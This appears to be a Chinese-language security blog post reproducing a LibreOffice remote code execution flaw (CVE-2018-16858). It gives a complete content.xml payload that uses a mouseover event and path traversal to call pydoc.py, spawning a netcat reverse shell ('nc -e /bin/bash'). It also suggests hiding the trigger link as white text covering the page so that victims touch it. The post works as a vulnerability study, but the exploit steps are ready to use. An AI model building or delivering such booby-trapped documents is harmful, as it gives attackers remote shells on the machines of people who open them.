libreoffice命令执行复现

Last updated on 2 years ago

Start

打开Libreoffice writer新建个’word’:

插入(Insert) => 超链接(Hyperlink) => 设置(图标),添加个鼠标事件,保存为odt文档:

使用解压工具解压/查看odt文件,把content.xml拖出来,看下里面有什么内容。

可以看到这是类似一个加载本地的一个脚本然后使用python运行的。

1
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

作者文章中写到:Libreoffice自带有Python和预装部分脚本,还可以通过目录遍历访问(调用)其他脚本。

LibreOffice\program\python-core-3.5.5\lib\中的pydoc.py通过参数cmd传递给os.system()执行,而且还没有做过滤。

So,通过修改content.xml内容重新压缩回odt文件,当打开odt文件鼠标碰到超链接是,就会触发反弹shell。

1
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, nc -e /bin/bash 127.0.0.1 12345)?language=Python&amp;location=share" xlink:type="simple"/>

Video

END

为了增加触发率,可以设置超链接为白色并遍布整个页面

新版中,python鼠标事件好像已被移除

Reference

https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html

https://testofpen.wordpress.com/2019/05/13/cve-2018-16858/


libreoffice命令执行复现
https://guosec.online/posts/cdf8e41e.html
Posted on
July 13, 2019
Updated on
February 24, 2022
Licensed under
本博客所有文章除特别声明外,均采用  协议,转载请注明出处!